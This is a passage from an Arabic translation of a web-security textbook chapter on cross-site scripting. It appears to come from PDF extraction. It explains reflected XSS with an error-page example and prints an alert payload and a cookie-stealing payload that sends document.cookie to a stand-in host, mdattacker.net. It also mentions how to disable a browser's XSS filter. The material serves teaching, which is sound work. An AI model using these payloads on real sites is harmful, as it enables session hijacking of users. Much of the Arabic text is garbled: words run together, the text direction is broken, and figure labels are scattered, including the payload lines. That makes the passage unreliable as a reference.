ﻋﺪﻳﺪﺓﻣﻦ ﺍﻧﺘﺸﺎﺭ ﻣﻌﻈﻢ ﻓﺉﺎﺕ ﺃﺧﻄﺎء ﺟﺎﻧﺐ ﺍﻟﺨﺎﺩﻡ .ﻳﻨﺼﺐ ﺗﺮﻛﻴﺰ ﻭﺳﺎﺉﻞ ﺍﻹﻋﻼﻡ ﻋﻠﻰ ﺃﻣﻦ
ﺍﻹﻧﺘﺮﻧﺖﺑﺸﻜﻞ ﺭﺉﻴﺴﻲ ﻋﻠﻰ ﻫﺠﻤﺎﺕ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ،ﺣﻴﺚ ﺃﺻﺒﺤﺖ ﻣﺼﻄﻠﺤﺎﺕ ﻣﺜﻞ ﺑﺮﺍﻣﺞ
ﺍﻟﺘﺠﺴﺲﻭﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ ﻭﺃﺣﺼﻨﺔ ﻃﺮﻭﺍﺩﺓ ﺷﺎﺉﻌﺔ ﻟﺪﻯ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺼﺤﻔﻴﻴﻦ ﺍﻟﺬﻳﻦ ﻟﻢ
ﻳﺴﻤﻌﻮﺍﻗﻂ ﻋﻦ ﺣﻘﻦ SQLﺃﻭ ﻋﺒﻮﺭ ﺍﻟﻤﺴﺎﺭ .ﻭﺗﻌُﺘﺒﺮ ﺍﻟﻬﺠﻤﺎﺕ ﺿﺪ ﻣﺴﺘﺨﺪﻣﻲ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ
ﺗﺠﺎﺭﺓﺇﺟﺮﺍﻣﻴﺔ ﻣﺮﺑﺤﺔ ﺑﺸﻜﻞ ﻣﺘﺰﺍﻳﺪ .ﻓﻠﻤﺎﺫﺍ ﺗﻜُﻠﻒ ﻧﻔﺴﻚ ﻋﻨﺎء ﺍﻗﺘﺤﺎﻡ ﺑﻨﻚ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺑﻴﻨﻤﺎ ﻳﻤﻜﻨﻚ
ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ ﺍﺧﺘﺮﺍﻕ %1ﻣﻦ ﻋﻤﻼﺉﻪ ﺍﻟﺒﺎﻟﻎ ﻋﺪﺩﻫﻢ 10ﻣﻼﻳﻴﻦ ﻓﻲ ﻫﺠﻮﻡ ﺑﺪﺍﺉﻲ ﻧﺴﺒﻴﺎً ﻻ
ﻳﺘﻄﻠﺐﺳﻮﻯ ﺍﻟﻘﻠﻴﻞ ﻣﻦ ﺍﻟﻤﻬﺎﺭﺓ ﺃﻭ ﺍﻟﻠﺒﺎﻗﺔ؟
ﻳﺮﻛﺰﻫﺬﺍ ﺍﻟﻔﺼﻞ ﻋﻠﻰ ﻫﺠﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ ) .(XSSﺗﻌُﺪ ّﻫﺬﻩ ﺍﻟﻔﺉﺔ ﻣﻦ
ﺍﻟﺜﻐﺮﺍﺕﺍﻷﻣﻨﻴﺔ ﺑﻤﺜﺎﺑﺔ ﺍﻷﺏ ﺍﻟﺮﻭﺣﻲ ﻟﻠﻬﺠﻤﺎﺕ ﺿﺪ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ .ﻭﻫﻲ ،ﺇﻟﻰ ﺣﺪ ﻣﺎ ،ﺃﻛﺜﺮ
ﺛﻐﺮﺍﺕﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺷﻴﻮﻋﺎً .ﺗﺼُﻴﺐ ﺍﻟﻐﺎﻟﺒﻴﺔ ﺍﻟﻌﻈﻤﻰ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻨﺸﻄﺔ ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ
ﺑﻌﺾﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻷﻛﺜﺮ ﺃﻫﻤﻴﺔ ﺃﻣﻨﻴﺎً ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ ،ﻣﺜﻞ ﺗﻠﻚ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻣﻬﺎ ﺍﻟﺒﻨﻮﻙ ﺍﻹﻟﻜﺘﺮﻭﻧﻴﺔ.
ﻳﺘﻨﺎﻭﻝﺍﻟﻔﺼﻞ ﺍﻟﺘﺎﻟﻲ ﻋﺪﺩﺍً ﻛﺒﻴﺮﺍً ﻣﻦ ﺃﻧﻮﺍﻉ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻷﺧﺮﻯ ﺿﺪ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ،ﻭﺍﻟﺘﻲ ﻳﺘﺸﺎﺑﻪ
ﺑﻌﻀﻬﺎﺑﺸﻜﻞ ﻛﺒﻴﺮ ﻣﻊ .XSS
433 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ
ﻣﻊﺃﻥ ﻫﺬﺍ ﺻﺤﻴﺢ ﺟﺰﺉﻴﺎً ،ﺇﻻ ﺃﻥ ﺑﻌﺾ ﺍﻟﻬﺠﻤﺎﺕ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻗﺪ ﺗﻨﺠﺢ ﺑﻐﺾ
ﺍﻟﻨﻈﺮﻋﻦ ﺍﺣﺘﻴﺎﻃﺎﺗﻬﻢ ﺍﻷﻣﻨﻴﺔ .ﻳﻤﻜﻦ ﻟﻬﺠﻤﺎﺕ XSSﺍﻟﻤﺨﺰﻧﺔ ﺃﻥ ﺗﻌُﺮﺽّ ﺃﻛﺜﺮ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻭﻋﻴﺎً
ﺑﺎﻷﻣﻦﻟﻠﺨﻄﺮ ﺩﻭﻥ ﺃﻱ ﺗﻔﺎﻋﻞ ﻣﻨﻪ .ﻳﻘُﺪﻡّ ﺍﻟﻔﺼﻞ 13ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻄﺮﻕ ﺍﻷﺧﺮﻯ ﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﻣﻦ
ﺧﻼﻟﻬﺎﺍﺧﺘﺮﺍﻕ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻤﻬﺘﻤﻴﻦ ﺑﺎﻷﻣﻦ ﺩﻭﻥ ﻋﻠﻤﻬﻢ.
ﻋﻨﺪﻣﺎﺫﺍﻉ ﺻﻴﺖ XSSﻓﻲ ﺃﻭﺳﺎﻁ ﺃﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ،ﻛﺎﻥ ﺑﻌﺾ ﺧﺒﺮﺍء ﺍﺧﺘﺒﺎﺭ ﺍﻻﺧﺘﺮﺍﻕ
ﻳﻌﺘﺒﺮﻭﻧﻪﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ "ﺿﻌﻴﻔﺔ" .ﻭﻳﻌﻮﺩ ﺫﻟﻚ ﺟﺰﺉﻴﺎً ﺇﻟﻰ ﺍﻧﺘﺸﺎﺭﻩ ﺍﻟﻬﺎﺉﻞ ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ ،ﻭﻷﻥ XSS
ﻏﺎﻟﺒﺎًﻣﺎ ﻳﻜﻮﻥ ﺃﻗﻞ ﻓﺎﺉﺪﺓ ﻟﻠﻤﺨﺘﺮﻕ ﺍﻟﺬﻱ ﻳﺴﺘﻬﺪﻑ ﺗﻄﺒﻴﻘﺎً ﺑﻤﻔﺮﺩﻩ ،ﻣﻘﺎﺭﻧﺔ ًﺑﺎﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ
ﺍﻷﺧﺮﻯﻣﺜﻞ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﺨﺎﺩﻡ .ﻭﻣﻊ ﻣﺮﻭﺭ ﺍﻟﻮﻗﺖ ،ﺗﻐﻴﺮ ﻫﺬﺍ ﺍﻟﺘﺼﻮﺭ ،ﻭﻳﺸُﺎﺭ ﺇﻟﻰ XSS
ﺍﻟﻴﻮﻡﻋﻠﻰ ﺃﻧﻪ ﺍﻟﺘﻬﺪﻳﺪ ﺍﻷﻣﻨﻲ ﺍﻷﻭﻝ ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ .ﻭﻣﻊ ﺗﻄﻮﺭ ﺍﻷﺑﺤﺎﺙ ﺣﻮﻝ ﻫﺠﻤﺎﺕ ﺟﺎﻧﺐ
ﺍﻟﻌﻤﻴﻞ،ﺭﻛﺰ ﺍﻟﻨﻘﺎﺵ ﻋﻠﻰ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻷﺧﺮﻯ ﺍﻟﺘﻲ ﻳﺼﻌﺐ ﺍﺳﺘﻐﻼﻟﻬﺎ ﺑﻘﺪﺭ ﺃﻱ ﺛﻐﺮﺓ .XSS
ﻭﻗﺪﻭﻗﻌﺖ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻮﺍﻗﻌﻴﺔ ﺍﻟﺘﻲ ﺍﺳﺘﺨُﺪﻣﺖ ﻓﻴﻬﺎ ﺛﻐﺮﺍﺕ XSSﻻﺧﺘﺮﺍﻕ ﻣﺆﺳﺴﺎﺕ
ﻣﺮﻣﻮﻗﺔ.
ﻏﺎﻟﺒﺎًﻣﺎ ﻳﻤُﺜﻞ XSSﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﺣﺮﺟﺔ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ .ﻭﻳﻤﻜﻦ ﺩﻣﺠﻪ ﻣﻊ ﺛﻐﺮﺍﺕ ﺃﺧﺮﻯ ﻣﺴُﺒﺒﺎً ﺁﺛﺎﺭﺍً
ﻣﺪﻣﺮﺓ.ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻳﻤﻜﻦ ﺃﻥ ﻳﺘﺤﻮﻝ ﻫﺠﻮﻡ XSSﺇﻟﻰ ﻓﻴﺮﻭﺱ ﺃﻭ ﺩﻭﺩﺓ ﺫﺍﺗﻴﺔ ﺍﻻﻧﺘﺸﺎﺭ.
ﻫﺠﻤﺎﺕﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻟﻴﺴﺖ ﺑﺎﻟﻬﻴﻨﺔ ﺑﺎﻟﺘﺄﻛﻴﺪ.
ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ
ﺃﻧﻮﺍﻉXSS
ﺗﺘﻌﺪﺩﺃﺷﻜﺎﻝ ﺛﻐﺮﺍﺕ ،XSSﻭﻳﻤﻜﻦ ﺗﻘﺴﻴﻤﻬﺎ ﺇﻟﻰ ﺛﻼﺛﺔ ﺃﻧﻮﺍﻉ :ﻣﻨﻌﻜﺴﺔ ،ﻭﻣﺨﺰﻧﺔ ،ﻭﻣﺒﻨﻴﺔ ﻋﻠﻰ
.DOMﻭﺭﻏﻢ ﺃﻥ ﻟﻬﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﺳﻤﺎﺕ ﻣﺸﺘﺮﻛﺔ ،ﺇﻻ ﺃﻧﻬﺎ ﺗﺨﺘﻠﻒ ﺍﺧﺘﻼﻓﺎً ﺟﻮﻫﺮﻳﺎً ﻓﻲ ﻛﻴﻔﻴﺔ
ﺗﺤﺪﻳﺪﻫﺎﻭﺍﺳﺘﻐﻼﻟﻬﺎ .ﺳﻨﺘﻨﺎﻭﻝ ﻛﻞ ﻧﻮﻉ ﻣﻦ ﺃﻧﻮﺍﻉ XSSﻋﻠﻰ ﺣﺪﺓ.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 434
ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ
ﻣﻦﺍﻷﻣﺜﻠﺔ ﺍﻟﺸﺎﺉﻌﺔ ﻋﻠﻰ ﺛﻐﺮﺍﺕ XSSﺍﺳﺘﺨﺪﺍﻡ ﺗﻄﺒﻴﻖ ﻟﺼﻔﺤﺔ ﺩﻳﻨﺎﻣﻴﻜﻴﺔ ﻟﻌﺮﺽ ﺭﺳﺎﺉﻞ ﺍﻟﺨﻄﺄ
ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ.ﻋﺎﺩﺓ ً،ﺗﺄﺧﺬ ﺍﻟﺼﻔﺤﺔ ﻣﻌُﺎﻣﻼً ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ ،ﺛﻢ ﺗﻌُﻴﺪﻩ ﺇﻟﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ
ﺿﻤﻦﺍﺳﺘﺠﺎﺑﺘﻬﺎ .ﻳﻌُﺪ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻵﻟﻴﺎﺕ ﻣﻼُﺉﻤﺎً ﻟﻠﻤﻄﻮﺭﻳﻦ ،ﺇﺫ ﻳﺘُﻴﺢ ﻟﻬﻢ ﺍﺳﺘﺪﻋﺎء ﺻﻔﺤﺔ ﺧﻄﺄ
ﻣﺨُﺼﺼﺔﻣﻦ ﺃﻱ ﻣﻜﺎﻥ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺩﻭﻥ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﺗﺮﻣﻴﺰ ﺭﺳﺎﺉﻞ ﻣﺤُﺪﺩﺓ ﺩﺍﺧﻞ ﺻﻔﺤﺔ ﺍﻟﺨﻄﺄ
ﻧﻔﺴﻬﺎ.
ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺿﻊ ﻓﻲ ﺍﻋﺘﺒﺎﺭﻙ ﻋﻨﻮﺍﻥ URLﺍﻟﺘﺎﻟﻲ ،ﺍﻟﺬﻱ ﻳﻌﻴﺪ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ ﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ
ﺍﻟﺸﻜﻞ
http://mds
ﻋﻨﺪﺍﻟﻨﻈﺮ ﺇﻟﻰ ﻣﺼﺪﺭ HTMLﻟﻠﺼﻔﺤﺔ ﺍﻟﻤﺮﺗﺠﻌﺔ ،ﻳﻤﻜﻨﻨﺎ ﺃﻥ ﻧﺮﻯ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻨﺴﺦ ﺑﺒﺴﺎﻃﺔ
ﻗﻴﻤﺔﺭﺳﺎﻟﺔﺍﻟﻤﻌﻠﻤﺔ ﻓﻲ ﻋﻨﻮﺍﻥ URLﻭﺇﺩﺭﺍﺟﻬﺎ ﻓﻲ ﻗﺎﻟﺐ ﺻﻔﺤﺔ ﺍﻟﺨﻄﺄ ﻓﻲ ﺍﻟﻤﻜﺎﻥ ﺍﻟﻤﻨﺎﺳﺐ:
ﺗﻢﺇﻧﺸﺎء ﻋﻨﻮﺍﻥ URLﺍﻟﺘﺎﻟﻲ ﻻﺳﺘﺒﺪﺍﻝ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ ﺑﺠﺰء ﻣﻦ JavaScriptﻳﻘﻮﻡ ﺑﺈﻧﺸﺎء ﻣﺮﺑﻊ
ﺣﻮﺍﺭﻣﻨﺒﺜﻖ:
<http://mdsec.net/error/5/Error.ashx?message=>script<alert)1(>/script
ﻳﺆﺩﻱﻃﻠﺐ ﻋﻨﻮﺍﻥ URLﻫﺬﺍ ﺇﻟﻰ ﺇﻧﺸﺎء ﺻﻔﺤﺔ HTMLﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ ﻳﻠﻲ ﺑﺪﻻ ًﻣﻦ ﺍﻟﺮﺳﺎﻟﺔ
ﺍﻷﺻﻠﻴﺔ:
<;>/script<>/pﺗﻨﺒﻴﻪ)>p<>script<(1
435 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺑﺎﻟﺘﺄﻛﻴﺪ
ﺭﺳﺎﻟﺔﻷﻋﻠﻰ
ﻳﺴُﺎﻋﺪﺇﺟﺮﺍء ﻫﺬﺍ ﺍﻻﺧﺘﺒﺎﺭ ﺍﻟﺒﺴﻴﻂ ﻋﻠﻰ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺃﻣﺮﻳﻦ ﻣﻬﻤﻴﻦ .ﺃﻭﻻً ،ﻣﺤﺘﻮﻳﺎﺕﺭﺳﺎﻟﺔﻳﻤﻜﻦ
ﺍﺳﺘﺒﺪﺍﻝﺍﻟﻤﻌﻠﻤﺔ ﺑﺒﻴﺎﻧﺎﺕ ﻋﺸﻮﺍﺉﻴﺔ ﺗﻌُﺎﺩ ﺇﻟﻰ ﺍﻟﻤﺘﺼﻔﺢ .ﺛﺎﻧﻴﺎً ،ﻣﻬﻤﺎ ﻛﺎﻧﺖ ﺍﻟﻤﻌﺎﻟﺠﺔ ﺍﻟﺘﻲ ﻳﺠُﺮﻳﻬﺎ
ﺗﻄﺒﻴﻖﺍﻟﺨﺎﺩﻡ ﻋﻠﻰ ﻫﺬﻩ ﺍﻟﺒﻴﺎﻧﺎﺕ )ﺇﻥ ﻭﺟُﺪﺕ( ،ﻓﻬﻲ ﻻ ﺗﻜﻔﻲ ﻟﻤﻨﻌﻨﺎ ﻣﻦ ﺗﻮﻓﻴﺮ ﺷﻴﻔﺮﺓ ﺟﺎﻓﺎ
ﺳﻜﺮﻳﺒﺖﺍﻟﺘﻲ ﺗﻨُﻔﺬَّ ﻋﻨﺪ ﻋﺮﺽ ﺍﻟﺼﻔﺤﺔ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ.
ﺟﺮﺑﻬﺎ!
http://mdsec.net/error/5/
ﻣﻠﺤﻮﻇﺔﺇﺫﺍ ﺟﺮﺑﺖ َﺃﻣﺜﻠﺔ ًﻛﻬﺬﻩ ﻓﻲ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ،ﻓﻘﺪ ﻻ ﺗﻈﻬﺮ ﺍﻟﻨﺎﻓﺬﺓ ﺍﻟﻤﻨﺒﺜﻘﺔ ،ﻭﻗﺪ
ﻳﻌﺮﺽﺍﻟﻤﺘﺼﻔﺢ ﺭﺳﺎﻟﺔ "ﻋﺪﻝّ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻫﺬﻩ ﺍﻟﺼﻔﺤﺔ ﻟﻠﻤﺴﺎﻋﺪﺓ ﻓﻲ ﻣﻨﻊ ﻫﺠﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﺔ
ﺍﻟﻨﺼﻴﺔﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ" .ﻫﺬﺍ ﻷﻥ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺪﻳﺜﺔ ﻣﻦ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺁﻟﻴﺔ ﻣﺪﻣﺠﺔ
ﻣﺼﻤﻤﺔﻟﺤﻤﺎﻳﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ .ﻻﺧﺘﺒﺎﺭ ﻫﺬﻩ ﺍﻷﻣﺜﻠﺔ ،ﻳﻤﻜﻨﻚ ﺗﺠﺮﺑﺔ
ﻣﺘﺼﻔﺢﺁﺧﺮ ﻻ ﻳﺴﺘﺨﺪﻡ ﻫﺬﻩ ﺍﻟﺤﻤﺎﻳﺔ ،ﺃﻭ ﻳﻤﻜﻨﻚ ﺗﻌﻄﻴﻞ ﻣﺮُﺷﺢِّ XSSﺑﺎﻟﺬﻫﺎﺏ ﺇﻟﻰ "ﺍﻷﺩﻭﺍﺕ".ﺇ
ﺧﻴﺎﺭﺍﺕﺍﻹﻧﺘﺮﻧﺖﺇﺣﻤﺎﻳﺔﺇﻣﺴﺘﻮﻯ ﻣﺨﺼﺺ .ﺿﻤﻦ "ﺗﻔﻌﻴﻞ ﻣﺮﺷﺢ ،"XSSﺣﺪﺩ "ﺗﻌﻄﻴﻞ" .ﺳﻨﺸﺮﺡ
ﻻﺣﻘﺎًﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ ﻛﻴﻔﻴﺔ ﻋﻤﻞ ﻣﺮﺷﺢ ،XSSﻭﻛﻴﻔﻴﺔ ﺗﺠﺎﻭﺯﻩ.
ﺍﺳﺘﻐﻼﻝﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ
ﻛﻤﺎﺳﺘﺮﻭﻥ ،ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺍﺕ XSSﺑﻄﺮﻕ ٍﻣﺨُﺘﻠﻔﺔ ﻟﻤﻬﺎﺟﻤﺔ ﻣﺴُﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﻟﺘﻄﺒﻴﻖ ٍﻣﺎ.
ﺇﺣﺪﻯﺃﺑﺴﻂ ﺍﻟﻬﺠﻤﺎﺕ ،ﻭﺍﻷﻛﺜﺮ ﺷﻴﻮﻋﺎً ﻟﺘﻮﺿﻴﺢ ﺍﻷﻫﻤﻴﺔ ﺍﻟﻤﺤُﺘﻤﻠﺔ ﻟﺜﻐﺮﺍﺕ ،XSSﻫﻲ ﻗﻴﺎﻡ ﺍﻟﻤﻬُﺎﺟﻢ
ﺑﺎﻻﺳﺘﻴﻼءﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ ﻣﺴُﺘﺨﺪﻡ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻪ .ﻳﺘُﻴﺢ ﺍﺧﺘﻄﺎﻑ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻟﻠﻤﻬُﺎﺟﻢ
ﺍﻟﻮﺻﻮﻝﺇﻟﻰ ﺟﻤﻴﻊ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻭﺍﻟﻮﻇﺎﺉﻒ ﺍﻟﻤﺼُﺮﺡّ ﻟﻬﺎ ﻟﻠﻤﺴﺘﺨﺪﻡ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ .(7
ﻃﻠﺐ
.3ﻳ
ﻄﻠ
ﺐﺍ
.1ﺗ
ﺴﺠ
ﻟﻤ
ﻴﻞ
rip .4
ﺴ
ﻳ
ﺩ
ﺴ
ﺧﻮ
ﺘﺨ
ﻝﺍ
ﺘﺠﻴ va
t
ﺪﻡ
ﻟﻤ
ﺴ
ﺐ
ﻋ
ﺘﺨ
Sc
ﻨﻮ
ﺪﻡ
ﺍﻟﺨ ﺨﺎ
ﺍﻥ
ﺎﺩﻡ ﺹ
Ja
RL
ﺍﻟ
ﺑﺎ
U
ﺳ
ﻟﻠ
ﺘ
ﺨﺪ
ﻤ
ﻬﺎ
ﺍﻡ
ﺑﺎ
ﺟﻢ
ﻟﻤ
ﻬﺎ
ﺪﻡ
ﺟﻢ
ﺘﺨ
ﺴ
ﻟﻤ
.5ﺍﻟﻤﻬﺎﺟﻢ
ﺔﺍ
ﺴ
ﺟﻠ
.2ﻳﻘﻮﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺈﺭﺳﺎﻝ ﻋﻨﻮﺍﻥ URLﺍﻟﻤﺼﻤﻢ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺟﺎﻓﺎﺳﻜﺮﻳﺒﺖ
ﻑ
ﻳﻨﻔﺬﻓﻲ
ﻄﺎ
.6ﻳﺮﺳﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺭﻣﺰ ﺍﻟﺠﻠﺴﺔ ﺇﻟﻰ ﺍﻟﻤﻬﺎﺟﻢ
ﺧﺘ
ﺑﺎ
ﻣﺘﺼﻔﺢﺍﻟﻤﺴﺘﺨﺪﻡ
ﺎﺟﻢ
ﻤﻬ
ﻣﻬﺎﺟﻢ
ﺍﻟ
ﻣﺴﺘﺨﺪﻡ
ﻮﻡ
ﻳﻘ
ﺍﻟﺸﻜﻞ:3-12ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﻤﺘﺒﻌﺔ ﻓﻲ ﻫﺠﻮﻡ XSSﺍﻟﻤﻨﻌﻜﺲ
.7
.1ﻳﻘﻮﻡ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺘﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺸﻜﻞ ﻃﺒﻴﻌﻲ ﻭﻳﺘﻢ ﺇﺻﺪﺍﺭ ﻣﻠﻒ ﺗﻌﺮﻳﻒ
ﺍﺭﺗﺒﺎﻁﻟﻪ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ:
.2ﻣﻦ ﺧﻼﻝ ﺑﻌﺾ ﺍﻟﻮﺳﺎﺉﻞ )ﺍﻟﻤﻮﺿﺤﺔ ﺑﺎﻟﺘﻔﺼﻴﻞ ﻻﺣﻘﺎً( ،ﻳﻘﻮﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺈﺭﺳﺎﻝ ﻋﻨﻮﺍﻥ URL
ﺍﻟﺘﺎﻟﻲﻟﻠﻤﺴﺘﺨﺪﻡ:
<;+i.src=”http://mdattacker.net/”%2bdocument.cookie;>/script
http://mdsec.net/error/5/Error.ashx?message=>script<var+i=new+Image
ﻛﻤﺎﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺴﺎﺑﻖ ،ﺍﻟﺬﻱ ﻭﻟﺪّ ﺭﺳﺎﻟﺔ ﺣﻮﺍﺭ ،ﻳﺤﺘﻮﻱ ﻫﺬﺍ ﺍﻟﺮﺍﺑﻂ ﻋﻠﻰ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ
ﻣﻀُﻤﻦّ.ﻣﻊ ﺫﻟﻚ ،ﻓﺈﻥ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ﺃﻛﺜﺮ ﺿﺮﺭﺍً.
.٤ﻳﺴﺘﺠﻴﺐ ﺍﻟﺨﺎﺩﻡ ﻟﻄﻠﺐ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻧﺘﻴﺠﺔ ًﻟﺜﻐﺮﺓ ،XSSﺗﺤﺘﻮﻱ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻋﻠﻰ ﺷﻔﺮﺓ
JavaScriptﺍﻟﺘﻲ ﺃﻧﺸﺄﻫﺎ ﺍﻟﻤﻬﺎﺟﻢ.
.5ﻳﺴﺘﻘﺒﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ JavaScriptﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﻬﺎﺟﻢ ﻭﻳﻨﻔﺬﻩ ﺑﻨﻔﺲ ﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ
ﻳﻨﻔﺬﺑﻬﺎ ﺃﻱ ﻛﻮﺩ ﺁﺧﺮ ﻳﺘﻠﻘﺎﻩ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ.
:ﺍﻟﺨﺒﻴﺚﺍﻟﺬﻱ ﺃﻧﺸﺄﻩ ﺍﻟﻤﻬﺎﺟﻢ ﻫﻮ 6. JavaScript
ﻳﺆﺩﻱﻫﺬﺍ ﺍﻟﻜﻮﺩ ﺇﻟﻰ ﺟﻌﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻳﻘﻮﻡ ﺑﺘﻘﺪﻳﻢ ﻃﻠﺐ ﺇﻟﻰmdattacker.net
